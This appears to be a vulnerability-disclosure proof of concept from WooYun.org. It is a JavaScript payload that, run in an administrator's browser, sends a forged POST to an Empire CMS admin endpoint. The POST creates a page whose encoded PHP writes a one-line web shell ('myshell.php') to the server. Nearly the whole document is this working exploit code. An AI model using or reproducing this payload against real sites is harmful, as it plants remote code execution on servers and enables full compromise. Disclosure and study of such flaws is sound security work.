WooYun.org

<Script>


//type of form: multipart/form-data





function ajax(){


	var request = false;


	if(window.XMLHttpRequest) {


		request = new XMLHttpRequest();


	} else if(window.ActiveXObject) {


		var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];


		for(var i=0; i<versions.length; i++) {


			try {


				request = new ActiveXObject(versions[i]);


			} catch(e) {}


		}


	}


	return request;


}





var _x = ajax();





post();


function post() {


	src="**.**.**.**/e/admin/ecmscom.php";


	argv_0="enews=AddUserpage&id=&oldpath=page.html&cid=&gid=1&pagemod=1&title=aaa&path=page.html&classid=0&pagetitle=&pagekeywords=&pagedescription=&pagetext=%3C%3Fphp+file_put_contents%28%27myshell.php%27%2C%27%3C%3Fphp+%24_GET%5Bc%5D%28%24_POST%5Bx%5D%29%3B%3F%3E%27%29%3B%3F%3E&Submit=%E6%8F%90%E4%BA%A4";


	xhr_act("POST",src,argv_0);


}


function xhr_act(_m,_s,_a){


	_x.open(_m,_s,false);


	if(_m=="POST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");


	_x.send(_a);


	return _x.responseText;


}


</script>


Test!